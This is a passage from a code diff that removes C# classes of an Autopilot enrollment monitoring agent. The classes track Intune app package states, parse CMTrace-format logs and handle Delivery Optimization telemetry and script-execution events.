data["appType"] = AppType;
|
||||
if (AttemptNumber > 0)
|
||||
data["attemptNumber"] = AttemptNumber;
|
||||
if (!string.IsNullOrEmpty(DetectionResult))
|
||||
data["detectionResult"] = DetectionResult;
|
||||
|
||||
if (HasDoTelemetry)
|
||||
{
|
||||
data["doFileSize"] = DoFileSize;
|
||||
data["doTotalBytesDownloaded"] = DoTotalBytesDownloaded;
|
||||
data["doBytesFromPeers"] = DoBytesFromPeers;
|
||||
data["doPercentPeerCaching"] = DoPercentPeerCaching;
|
||||
data["doBytesFromLanPeers"] = DoBytesFromLanPeers;
|
||||
data["doBytesFromGroupPeers"] = DoBytesFromGroupPeers;
|
||||
data["doBytesFromInternetPeers"] = DoBytesFromInternetPeers;
|
||||
data["doDownloadMode"] = DoDownloadMode;
|
||||
data["doDownloadDuration"] = DoDownloadDuration ?? "";
|
||||
data["doBytesFromHttp"] = DoBytesFromHttp;
|
||||
}
|
||||
|
||||
return data;
|
||||
}
|
||||
}
|
||||
}
|
||||
-432
@@ -1,432 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime
|
||||
{
|
||||
/// <summary>
|
||||
/// Manages a collection of app package states during enrollment.
|
||||
/// Tracks current app, ignore list, and dependency cascading.
|
||||
/// Adapted from EspOverlay PackageStatesList.
|
||||
/// </summary>
|
||||
public class AppPackageStateList : List<AppPackageState>
|
||||
{
|
||||
/// <summary>
|
||||
/// The ID of the app currently being processed by IME
|
||||
/// </summary>
|
||||
public string CurrentPackageId { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Apps to ignore (e.g., user-targeted apps during device phase).
|
||||
/// Case-insensitive because GUIDs may appear in different casing across IME log entries and policy JSON.
|
||||
/// </summary>
|
||||
public HashSet<string> IgnoreList { get; } = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
private readonly AgentLogger _logger;
|
||||
|
||||
// States that should also cascade to dependents
|
||||
private static readonly HashSet<AppInstallationState> StatesToCascade =
|
||||
new HashSet<AppInstallationState>
|
||||
{
|
||||
AppInstallationState.Postponed,
|
||||
AppInstallationState.Error
|
||||
};
|
||||
|
||||
public AppPackageStateList(AgentLogger logger)
|
||||
{
|
||||
_logger = logger;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets a package by ID, optionally creating it if not found.
|
||||
/// Returns null if the ID is in the ignore list.
|
||||
/// </summary>
|
||||
public AppPackageState GetPackage(string id, bool createIfNotFound = false)
|
||||
{
|
||||
if (string.IsNullOrEmpty(id) || IgnoreList.Contains(id))
|
||||
return null;
|
||||
|
||||
var result = this.SingleOrDefault(x => string.Equals(x.Id, id, StringComparison.OrdinalIgnoreCase));
|
||||
if (result == null && createIfNotFound)
|
||||
{
|
||||
result = new AppPackageState(id, Count);
|
||||
Add(result);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds/updates packages from a JSON policy list (from IME "Get policies" log line).
|
||||
/// Returns true if any package was updated.
|
||||
/// </summary>
|
||||
public bool AddUpdateFromJsonPolicies(List<Dictionary<string, object>> jsonPolicies, bool ignoreUserTargeted)
|
||||
{
|
||||
if (jsonPolicies == null) return false;
|
||||
|
||||
var updated = false;
|
||||
foreach (var policy in jsonPolicies)
|
||||
{
|
||||
string id;
|
||||
object idObj;
|
||||
if (!policy.TryGetValue("Id", out idObj) || (id = idObj?.ToString()) == null)
|
||||
continue;
|
||||
|
||||
// Check RunAs - ignore user-targeted during device phase
|
||||
if (ignoreUserTargeted)
|
||||
{
|
||||
var runAs = GetRunAsFromPolicy(policy);
|
||||
if (runAs == AppRunAs.User)
|
||||
{
|
||||
updated |= AddToIgnoreList(id);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
var pkg = GetPackage(id, createIfNotFound: true);
|
||||
if (pkg == null) continue;
|
||||
|
||||
// Update name
|
||||
object nameObj;
|
||||
if (policy.TryGetValue("Name", out nameObj))
|
||||
updated |= pkg.UpdateName(nameObj?.ToString());
|
||||
|
||||
// Update intent
|
||||
object intentObj;
|
||||
if (policy.TryGetValue("Intent", out intentObj))
|
||||
{
|
||||
AppIntent intent;
|
||||
if (Enum.TryParse(intentObj.ToString(), true, out intent))
|
||||
updated |= pkg.UpdateIntent(intent);
|
||||
}
|
||||
|
||||
// Update targeted
|
||||
object targetObj;
|
||||
if (policy.TryGetValue("TargetType", out targetObj))
|
||||
{
|
||||
AppTargeted targeted;
|
||||
if (Enum.TryParse(targetObj.ToString(), true, out targeted))
|
||||
updated |= pkg.UpdateTargeted(targeted);
|
||||
}
|
||||
|
||||
// Update RunAs from InstallEx
|
||||
object installExObj;
|
||||
if (policy.TryGetValue("InstallEx", out installExObj))
|
||||
{
|
||||
var runAs = ExtractRunAsFromInstallEx(installExObj);
|
||||
if (runAs != AppRunAs.Unknown)
|
||||
updated |= pkg.UpdateRunAs(runAs);
|
||||
}
|
||||
|
||||
// Update dependencies from FlatDependencies
|
||||
object flatDepsObj;
|
||||
if (policy.TryGetValue("FlatDependencies", out flatDepsObj))
|
||||
{
|
||||
var deps = ExtractDependencies(flatDepsObj, id);
|
||||
if (deps != null)
|
||||
updated |= pkg.UpdateDependsOn(deps);
|
||||
}
|
||||
}
|
||||
|
||||
if (updated)
|
||||
{
|
||||
Sort();
|
||||
LogStates();
|
||||
}
|
||||
|
||||
return updated;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates the name of a specific package
|
||||
/// </summary>
|
||||
public bool UpdateName(string id, string newName)
|
||||
{
|
||||
var pkg = GetPackage(id);
|
||||
if (pkg == null) return false;
|
||||
var updated = pkg.UpdateName(newName);
|
||||
if (updated) LogStates();
|
||||
return updated;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates the installation state of a specific package.
|
||||
/// Returns true if state actually changed.
|
||||
/// Optionally cascades to dependent packages for error/postpone states.
|
||||
/// </summary>
|
||||
public bool UpdateState(string id, AppInstallationState newState, int? progressPercent = null)
|
||||
{
|
||||
var packageIds = new HashSet<string> { id };
|
||||
|
||||
// Cascade error/postpone to dependents
|
||||
if (StatesToCascade.Contains(newState))
|
||||
packageIds.UnionWith(GetDependentIdsDeep(id));
|
||||
|
||||
var packages = packageIds.Select(x => GetPackage(x)).Where(x => x != null).ToList();
|
||||
|
||||
var result = false;
|
||||
foreach (var pkg in packages)
|
||||
result |= pkg.UpdateState(newState, progressPercent);
|
||||
|
||||
if (result)
|
||||
{
|
||||
AppPackageState.SortErrorsToTop = IsAllCompleted();
|
||||
Sort();
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates state to Downloading with optional progress tracking
|
||||
/// </summary>
|
||||
public bool UpdateStateToDownloading(string id, string bytesDownloadedStr, string totalBytesStr)
|
||||
{
|
||||
int? progressPercent = null;
|
||||
long bytesDownloaded = 0;
|
||||
long bytesTotal = 0;
|
||||
|
||||
try
|
||||
{
|
||||
bytesDownloaded = Convert.ToInt64(bytesDownloadedStr);
|
||||
bytesTotal = Convert.ToInt64(totalBytesStr);
|
||||
if (bytesTotal != 0)
|
||||
progressPercent = (int)Math.Round((double)bytesDownloaded / bytesTotal * 100);
|
||||
}
|
||||
catch { }
|
||||
|
||||
var pkg = GetPackage(id);
|
||||
if (pkg != null &&
|
||||
pkg.InstallationState != AppInstallationState.Skipped &&
|
||||
pkg.InstallationState != AppInstallationState.Installed)
|
||||
{
|
||||
var result = pkg.UpdateState(AppInstallationState.Downloading, progressPercent, false, bytesDownloaded, bytesTotal);
|
||||
if (result)
|
||||
{
|
||||
AppPackageState.SortErrorsToTop = IsAllCompleted();
|
||||
Sort();
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates state from a Win32AppState string
|
||||
/// </summary>
|
||||
public bool UpdateStateFromWin32AppState(string id, string win32AppStateString)
|
||||
{
|
||||
var pkg = GetPackage(id);
|
||||
if (pkg == null) return false;
|
||||
var updated = pkg.UpdateStateFromWin32AppState(win32AppStateString);
|
||||
if (updated)
|
||||
{
|
||||
AppPackageState.SortErrorsToTop = IsAllCompleted();
|
||||
Sort();
|
||||
}
|
||||
return updated;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sets the current package being processed
|
||||
/// </summary>
|
||||
public void SetCurrent(string id)
|
||||
{
|
||||
CurrentPackageId = id;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds an ID to the ignore list
|
||||
/// </summary>
|
||||
public bool AddToIgnoreList(string id)
|
||||
{
|
||||
if (string.IsNullOrEmpty(id))
|
||||
return false;
|
||||
|
||||
return IgnoreList.Add(id); // HashSet.Add returns false if already present (case-insensitive)
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if all required apps are completed
|
||||
/// </summary>
|
||||
public bool IsAllCompleted()
|
||||
{
|
||||
if (!this.Any()) return false;
|
||||
|
||||
var allRequiredComplete = this.Where(x => x.IsRequired).All(x => x.IsCompleted);
|
||||
if (allRequiredComplete)
|
||||
{
|
||||
// Mark dependency-only packages that IME never touched as Skipped
|
||||
foreach (var pkg in this.Where(x => !x.IsRequired && x.InstallationState == AppInstallationState.Unknown))
|
||||
pkg.UpdateState(AppInstallationState.Skipped);
|
||||
}
|
||||
return allRequiredComplete;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the first non-completed package (for display)
|
||||
/// </summary>
|
||||
public AppPackageState ActivePackage => this.FirstOrDefault(x => !x.IsCompleted);
|
||||
|
||||
public int CountAll => Count;
|
||||
public int CountCompleted => this.Count(x => x.IsCompleted);
|
||||
public bool HasError => this.Any(x => x.IsError);
|
||||
public int ErrorCount => this.Count(x => x.IsError);
|
||||
|
||||
/// <summary>
|
||||
/// Gets summary data for event emission
|
||||
/// </summary>
|
||||
public Dictionary<string, object> GetSummaryData()
|
||||
{
|
||||
return new Dictionary<string, object>
|
||||
{
|
||||
{ "totalApps", CountAll },
|
||||
{ "completedApps", CountCompleted },
|
||||
{ "errorCount", ErrorCount },
|
||||
{ "deviceErrors", this.Count(x => x.IsError && x.Targeted == AppTargeted.Device) },
|
||||
{ "userErrors", this.Count(x => x.IsError && x.Targeted == AppTargeted.User) },
|
||||
{ "hasErrors", HasError },
|
||||
{ "isAllCompleted", IsAllCompleted() },
|
||||
{ "ignoredCount", IgnoreList.Count },
|
||||
// State-breakdown for UI progress displays (replaces the full "apps" array
|
||||
// which could exceed Azure Table Storage's 64KB property limit with 150+ apps)
|
||||
{ "downloading", this.Count(x => x.InstallationState == AppInstallationState.Downloading) },
|
||||
{ "installing", this.Count(x => x.InstallationState == AppInstallationState.Installing) },
|
||||
{ "installed", this.Count(x => x.InstallationState == AppInstallationState.Installed) },
|
||||
{ "skipped", this.Count(x => x.InstallationState == AppInstallationState.Skipped) },
|
||||
{ "failed", this.Count(x => x.InstallationState == AppInstallationState.Error) },
|
||||
{ "postponed", this.Count(x => x.InstallationState == AppInstallationState.Postponed) },
|
||||
{ "pending", this.Count(x => x.InstallationState < AppInstallationState.Downloading) },
|
||||
// App names per status category for diagnostics (typically few entries per category,
|
||||
// well within Azure Table Storage's 64KB/30K-char limit even with 150+ apps)
|
||||
{ "pendingNames", this.Where(x => x.InstallationState < AppInstallationState.Downloading).Select(x => x.Name).ToList() },
|
||||
{ "failedNames", this.Where(x => x.InstallationState == AppInstallationState.Error).Select(x => x.Name).ToList() },
|
||||
{ "postponedNames", this.Where(x => x.InstallationState == AppInstallationState.Postponed).Select(x => x.Name).ToList() },
|
||||
{ "installedNames", this.Where(x => x.InstallationState == AppInstallationState.Installed).Select(x => x.Name).ToList() },
|
||||
{ "skippedNames", this.Where(x => x.InstallationState == AppInstallationState.Skipped).Select(x => x.Name).ToList() }
|
||||
};
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets all package states as a list of dictionaries for final status dump.
|
||||
/// Reuses AppPackageState.ToEventData() which includes state, error info, DO telemetry.
|
||||
/// </summary>
|
||||
public List<Dictionary<string, object>> ToFinalStatusList()
|
||||
{
|
||||
return this.Select(pkg => pkg.ToEventData()).ToList();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Recursively gets all dependent package IDs (packages that depend on the given parent)
|
||||
/// </summary>
|
||||
private HashSet<string> GetDependentIdsDeep(string parentId, int level = 0)
|
||||
{
|
||||
var result = new HashSet<string>();
|
||||
try
|
||||
{
|
||||
level++;
|
||||
if (level > 10)
|
||||
{
|
||||
_logger?.Warning("Dependency tree deeper than 10 levels - possible circular dependency");
|
||||
return result;
|
||||
}
|
||||
|
||||
foreach (var dependent in this.Where(x => x.DependsOn.Contains(parentId)).Select(x => x.Id))
|
||||
{
|
||||
result.Add(dependent);
|
||||
result.UnionWith(GetDependentIdsDeep(dependent, level));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger?.Warning($"Error resolving dependencies for {parentId}: {ex.Message}");
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private static AppRunAs GetRunAsFromPolicy(Dictionary<string, object> policy)
|
||||
{
|
||||
try
|
||||
{
|
||||
object installExObj;
|
||||
if (policy.TryGetValue("InstallEx", out installExObj))
|
||||
return ExtractRunAsFromInstallEx(installExObj);
|
||||
}
|
||||
catch { }
|
||||
return AppRunAs.Unknown;
|
||||
}
|
||||
|
||||
private static AppRunAs ExtractRunAsFromInstallEx(object installExObj)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (installExObj is Dictionary<string, object> installEx)
|
||||
{
|
||||
object runAsObj;
|
||||
if (installEx.TryGetValue("RunAs", out runAsObj))
|
||||
return (AppRunAs)Convert.ToInt32(runAsObj);
|
||||
}
|
||||
// Handle as JSON string
|
||||
var str = installExObj?.ToString();
|
||||
if (!string.IsNullOrEmpty(str))
|
||||
{
|
||||
var json = System.Text.Json.JsonSerializer.Deserialize<Dictionary<string, object>>(str);
|
||||
if (json != null)
|
||||
{
|
||||
object runAsObj;
|
||||
if (json.TryGetValue("RunAs", out runAsObj))
|
||||
return (AppRunAs)Convert.ToInt32(runAsObj.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return AppRunAs.Unknown;
|
||||
}
|
||||
|
||||
private static HashSet<string> ExtractDependencies(object flatDepsObj, string appId)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (flatDepsObj == null) return new HashSet<string>();
|
||||
|
||||
var deps = flatDepsObj as List<object>;
|
||||
if (deps == null) return new HashSet<string>();
|
||||
|
||||
var result = new HashSet<string>();
|
||||
foreach (var dep in deps)
|
||||
{
|
||||
var depDict = dep as Dictionary<string, object>;
|
||||
if (depDict == null) continue;
|
||||
|
||||
object actionObj, appIdObj, childIdObj, typeObj, levelObj;
|
||||
if (depDict.TryGetValue("Action", out actionObj) &&
|
||||
depDict.TryGetValue("AppId", out appIdObj) &&
|
||||
depDict.TryGetValue("ChildId", out childIdObj) &&
|
||||
depDict.TryGetValue("Type", out typeObj) &&
|
||||
depDict.TryGetValue("Level", out levelObj))
|
||||
{
|
||||
if (Convert.ToInt32(actionObj) == 10 &&
|
||||
string.Equals(appIdObj?.ToString(), appId, StringComparison.OrdinalIgnoreCase) &&
|
||||
Convert.ToInt32(typeObj) == 0 &&
|
||||
Convert.ToInt32(levelObj) == 0)
|
||||
{
|
||||
result.Add(childIdObj.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
catch { }
|
||||
return new HashSet<string>();
|
||||
}
|
||||
|
||||
private void LogStates()
|
||||
{
|
||||
if (_logger == null) return;
|
||||
var stateList = string.Join(", ", this.Select(x => $"{x.Name ?? x.Id}:{x.InstallationState}"));
|
||||
_logger.Debug($"App states [{Count}]: {stateList}");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,129 +0,0 @@
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime
|
||||
{
|
||||
/// <summary>
|
||||
/// Represents a single parsed line from a CMTrace-format log file
|
||||
/// </summary>
|
||||
public class CmTraceLogEntry
|
||||
{
|
||||
public DateTime Timestamp { get; set; }
|
||||
public string Message { get; set; }
|
||||
public string Component { get; set; }
|
||||
public int Type { get; set; } // 1=Info, 2=Warning, 3=Error
|
||||
public string Thread { get; set; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Parses CMTrace/SCCM log format used by IME and other Microsoft components.
|
||||
/// Format: <![LOG[{message}]LOG]!><time="{time}" date="{date}" component="{comp}" context="" type="{type}" thread="{thread}" file="">
|
||||
/// </summary>
|
||||
public static class CmTraceLogParser
|
||||
{
|
||||
// Pre-compiled regex for the CMTrace format
|
||||
private static readonly Regex CmTraceRegex = new Regex(
|
||||
@"<!\[LOG\[(?<message>.*)\]LOG\]!><time=""(?<time>[\d:.]+)""\s+date=""(?<date>[\d-]+)""\s+component=""(?<component>[^""]*)""\s+context=""[^""]*""\s+type=""(?<type>\d+)""\s+thread=""(?<thread>\d+)""\s+file=""[^""]*"">",
|
||||
RegexOptions.Compiled | RegexOptions.Singleline
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to parse a single line of CMTrace-formatted log.
|
||||
/// Returns true if parsing succeeded, false if the line doesn't match the format.
|
||||
/// </summary>
|
||||
public static bool TryParseLine(string line, out CmTraceLogEntry entry)
|
||||
{
|
||||
entry = null;
|
||||
|
||||
if (string.IsNullOrEmpty(line) || !line.StartsWith("<![LOG["))
|
||||
return false;
|
||||
|
||||
var match = CmTraceRegex.Match(line);
|
||||
if (!match.Success)
|
||||
return false;
|
||||
|
||||
var message = match.Groups["message"].Value;
|
||||
var timeStr = match.Groups["time"].Value;
|
||||
var dateStr = match.Groups["date"].Value;
|
||||
var component = match.Groups["component"].Value;
|
||||
var typeStr = match.Groups["type"].Value;
|
||||
var thread = match.Groups["thread"].Value;
|
||||
|
||||
// Parse timestamp: date is "M-d-yyyy", time is "HH:mm:ss.ticks"
|
||||
DateTime timestamp;
|
||||
if (!TryParseTimestamp(dateStr, timeStr, out timestamp))
|
||||
{
|
||||
timestamp = DateTime.UtcNow;
|
||||
}
|
||||
|
||||
int type;
|
||||
int.TryParse(typeStr, out type);
|
||||
|
||||
entry = new CmTraceLogEntry
|
||||
{
|
||||
Timestamp = timestamp,
|
||||
Message = message,
|
||||
Component = component,
|
||||
Type = type,
|
||||
Thread = thread
|
||||
};
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private static bool TryParseTimestamp(string dateStr, string timeStr, out DateTime result)
|
||||
{
|
||||
result = DateTime.MinValue;
|
||||
|
||||
// Date format: "M-d-yyyy" (e.g., "2-8-2026")
|
||||
// Time format: "HH:mm:ss.ticks" (e.g., "06:08:04.8834397")
|
||||
// Truncate time to 7 fractional digits max for DateTime parsing
|
||||
var timeParts = timeStr.Split('.');
|
||||
string normalizedTime;
|
||||
if (timeParts.Length == 2)
|
||||
{
|
||||
var fraction = timeParts[1];
|
||||
if (fraction.Length > 7)
|
||||
fraction = fraction.Substring(0, 7);
|
||||
normalizedTime = timeParts[0] + "." + fraction;
|
||||
}
|
||||
else
|
||||
{
|
||||
normalizedTime = timeStr;
|
||||
}
|
||||
|
||||
var combined = dateStr + " " + normalizedTime;
|
||||
|
||||
// Try multiple date formats to handle varying date styles
|
||||
string[] formats = new[]
|
||||
{
|
||||
"M-d-yyyy H:mm:ss.fffffff",
|
||||
"M-d-yyyy H:mm:ss.ffffff",
|
||||
"M-d-yyyy H:mm:ss.fffff",
|
||||
"M-d-yyyy H:mm:ss.ffff",
|
||||
"M-d-yyyy H:mm:ss.fff",
|
||||
"M-d-yyyy H:mm:ss.ff",
|
||||
"M-d-yyyy H:mm:ss.f",
|
||||
"M-d-yyyy H:mm:ss",
|
||||
"M-d-yyyy HH:mm:ss.fffffff",
|
||||
"M-d-yyyy HH:mm:ss.ffffff",
|
||||
"M-d-yyyy HH:mm:ss.fffff",
|
||||
"M-d-yyyy HH:mm:ss.ffff",
|
||||
"M-d-yyyy HH:mm:ss.fff",
|
||||
"M-d-yyyy HH:mm:ss.ff",
|
||||
"M-d-yyyy HH:mm:ss.f",
|
||||
"M-d-yyyy HH:mm:ss"
|
||||
};
|
||||
|
||||
// CMTrace timestamps are always in LOCAL time. Parse as local, then convert to UTC.
|
||||
if (DateTime.TryParseExact(combined, formats, CultureInfo.InvariantCulture,
|
||||
DateTimeStyles.AssumeLocal, out result))
|
||||
{
|
||||
result = result.ToUniversalTime();
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
-580
@@ -1,580 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.Json;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Newtonsoft.Json;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime
|
||||
{
|
||||
/// <summary>
|
||||
/// Partial: Event handlers for pattern matches (app state, scripts, ESP phases),
|
||||
/// telemetry processing, and utility methods.
|
||||
/// </summary>
|
||||
public partial class ImeLogTracker
|
||||
{
|
||||
private void HandleDoTelemetry(string json)
|
||||
{
|
||||
try
|
||||
{
|
||||
using var doc = JsonDocument.Parse(json);
|
||||
var root = doc.RootElement;
|
||||
|
||||
// Extract app GUID from FileId
|
||||
string fileId = root.TryGetProperty("FileId", out var fileIdProp)
|
||||
? fileIdProp.GetString() : null;
|
||||
|
||||
if (string.IsNullOrEmpty(fileId))
|
||||
{
|
||||
_logger.Debug("ImeLogTracker: DO TEL entry has no FileId, skipping");
|
||||
return;
|
||||
}
|
||||
|
||||
string appId = ExtractAppIdFromDoFileId(fileId);
|
||||
if (string.IsNullOrEmpty(appId))
|
||||
{
|
||||
appId = _packageStates.CurrentPackageId;
|
||||
_logger.Debug($"ImeLogTracker: Could not extract app ID from DO FileId, using current app: {appId}");
|
||||
}
|
||||
|
||||
if (string.IsNullOrEmpty(appId)) return;
|
||||
|
||||
var pkg = _packageStates.GetPackage(appId);
|
||||
if (pkg == null)
|
||||
{
|
||||
_logger.Debug($"ImeLogTracker: DO TEL for unknown app {appId}, skipping");
|
||||
return;
|
||||
}
|
||||
|
||||
// Extract all DO fields
|
||||
long fileSize = root.TryGetProperty("FileSize", out var p) && p.ValueKind == JsonValueKind.Number ? p.GetInt64() : 0;
|
||||
long totalBytes = root.TryGetProperty("TotalBytesDownloaded", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt64() : 0;
|
||||
long bytesFromPeers = root.TryGetProperty("BytesFromPeers", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt64() : 0;
|
||||
int peerCachingPct = root.TryGetProperty("PercentPeerCaching", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt32() : 0;
|
||||
long bytesLanPeers = root.TryGetProperty("BytesFromLanPeers", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt64() : 0;
|
||||
long bytesGroupPeers = root.TryGetProperty("BytesFromGroupPeers", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt64() : 0;
|
||||
long bytesInternetPeers = root.TryGetProperty("BytesFromInternetPeers", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt64() : 0;
|
||||
int downloadMode = root.TryGetProperty("DownloadMode", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt32() : -1;
|
||||
string downloadDuration = root.TryGetProperty("DownloadDuration", out p) && p.ValueKind == JsonValueKind.String ? p.GetString() : null;
|
||||
long bytesFromHttp = root.TryGetProperty("BytesFromHttp", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt64() : 0;
|
||||
|
||||
pkg.UpdateDoTelemetry(fileSize, totalBytes, bytesFromPeers, peerCachingPct,
|
||||
bytesLanPeers, bytesGroupPeers, bytesInternetPeers,
|
||||
downloadMode, downloadDuration, bytesFromHttp);
|
||||
|
||||
_logger.Info($"ImeLogTracker: DO TEL for {pkg.Name ?? appId}: " +
|
||||
$"size={fileSize}, peers={bytesFromPeers} ({peerCachingPct}%), " +
|
||||
$"http={bytesFromHttp}, mode={downloadMode}, duration={downloadDuration}");
|
||||
|
||||
OnDoTelemetryReceived?.Invoke(pkg);
|
||||
_stateDirty = true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"ImeLogTracker: Failed to parse DO TEL JSON: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extracts app GUID from DO FileId string.
|
||||
/// Format: ...intunewin-bin_{appGuid}_{number}
|
||||
/// Falls back to trying the second-to-last GUID-like segment.
|
||||
/// </summary>
|
||||
internal static string ExtractAppIdFromDoFileId(string fileId)
|
||||
{
|
||||
// Primary: look for "intunewin-bin_" marker
|
||||
const string marker = "intunewin-bin_";
|
||||
var idx = fileId.IndexOf(marker, StringComparison.OrdinalIgnoreCase);
|
||||
if (idx >= 0)
|
||||
{
|
||||
var afterMarker = fileId.Substring(idx + marker.Length);
|
||||
if (afterMarker.Length >= 36)
|
||||
{
|
||||
var candidate = afterMarker.Substring(0, 36);
|
||||
if (Guid.TryParse(candidate, out var guid))
|
||||
return guid.ToString().ToLowerInvariant();
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: split by underscore and find GUIDs, take the second-to-last one
|
||||
var segments = fileId.Split('_');
|
||||
for (int i = segments.Length - 2; i >= 0; i--)
|
||||
{
|
||||
if (Guid.TryParse(segments[i], out var guid))
|
||||
return guid.ToString().ToLowerInvariant();
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// PowerShell script tracking handlers
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private ScriptExecutionState GetCurrentScript(Dictionary<string, string> parameters)
|
||||
{
|
||||
var scriptType = parameters != null && parameters.TryGetValue("scriptType", out var st) ? st : null;
|
||||
return string.Equals(scriptType, "remediation", StringComparison.OrdinalIgnoreCase)
|
||||
? _currentRemediationScript
|
||||
: GetCurrentPlatformScript();
|
||||
}
|
||||
|
||||
private ScriptExecutionState GetCurrentPlatformScript()
|
||||
{
|
||||
if (!string.IsNullOrEmpty(_lastPlatformScriptPolicyId) &&
|
||||
_pendingPlatformScripts.TryGetValue(_lastPlatformScriptPolicyId, out var state))
|
||||
return state;
|
||||
return null;
|
||||
}
|
||||
|
||||
private void HandleScriptStarted(Match match, Dictionary<string, string> parameters)
|
||||
{
|
||||
var id = match.Groups["id"]?.Value;
|
||||
var scriptType = parameters != null && parameters.TryGetValue("scriptType", out var st) ? st : "platform";
|
||||
var source = parameters != null && parameters.TryGetValue("source", out var src) ? src : null;
|
||||
|
||||
if (string.IsNullOrEmpty(id))
|
||||
{
|
||||
_logger.Debug("ImeLogTracker: scriptStarted with no policyId captured, skipping");
|
||||
return;
|
||||
}
|
||||
|
||||
if (string.Equals(scriptType, "remediation", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
// Flush any pending remediation script (shouldn't happen normally, but defensive)
|
||||
if (_currentRemediationScript != null)
|
||||
{
|
||||
_logger.Debug($"ImeLogTracker: flushing pending remediation script {_currentRemediationScript.PolicyId}");
|
||||
EmitScriptEvent(_currentRemediationScript);
|
||||
}
|
||||
|
||||
_currentRemediationScript = new ScriptExecutionState
|
||||
{
|
||||
PolicyId = id,
|
||||
ScriptType = "remediation",
|
||||
ScriptPart = "detection" // detection runs first; updated if remediation runs
|
||||
};
|
||||
_logger.Info($"ImeLogTracker: remediation script started: {id}");
|
||||
}
|
||||
else
|
||||
{
|
||||
// Platform script: AgentExecutor.log entries create/enrich, IME log entries also create
|
||||
if (!_pendingPlatformScripts.ContainsKey(id))
|
||||
{
|
||||
_pendingPlatformScripts[id] = new ScriptExecutionState
|
||||
{
|
||||
PolicyId = id,
|
||||
ScriptType = "platform"
|
||||
};
|
||||
}
|
||||
_lastPlatformScriptPolicyId = id;
|
||||
_logger.Info($"ImeLogTracker: platform script started: {id} (source: {source ?? "ime"})");
|
||||
}
|
||||
}
|
||||
|
||||
private void HandleScriptContext(Match match, Dictionary<string, string> parameters)
|
||||
{
|
||||
var context = match.Groups["context"]?.Value;
|
||||
if (string.IsNullOrEmpty(context)) return;
|
||||
|
||||
var runContext = string.Equals(context, "machine", StringComparison.OrdinalIgnoreCase) ? "System" : "User";
|
||||
var script = GetCurrentScript(parameters);
|
||||
if (script != null)
|
||||
{
|
||||
script.RunContext = runContext;
|
||||
_logger.Debug($"ImeLogTracker: script context set to {runContext} for {script.PolicyId}");
|
||||
}
|
||||
}
|
||||
|
||||
private void HandleScriptExitCode(Match match, Dictionary<string, string> parameters)
|
||||
{
|
||||
var exitCodeStr = match.Groups["exitCode"]?.Value;
|
||||
if (string.IsNullOrEmpty(exitCodeStr) || !int.TryParse(exitCodeStr, out var exitCode)) return;
|
||||
|
||||
var script = GetCurrentScript(parameters);
|
||||
if (script != null)
|
||||
{
|
||||
script.ExitCode = exitCode;
|
||||
_logger.Debug($"ImeLogTracker: script exit code {exitCode} for {script.PolicyId}");
|
||||
}
|
||||
}
|
||||
|
||||
private void HandleScriptOutput(Match match, Dictionary<string, string> parameters)
|
||||
{
|
||||
var outputType = parameters != null && parameters.TryGetValue("outputType", out var ot) ? ot : null;
|
||||
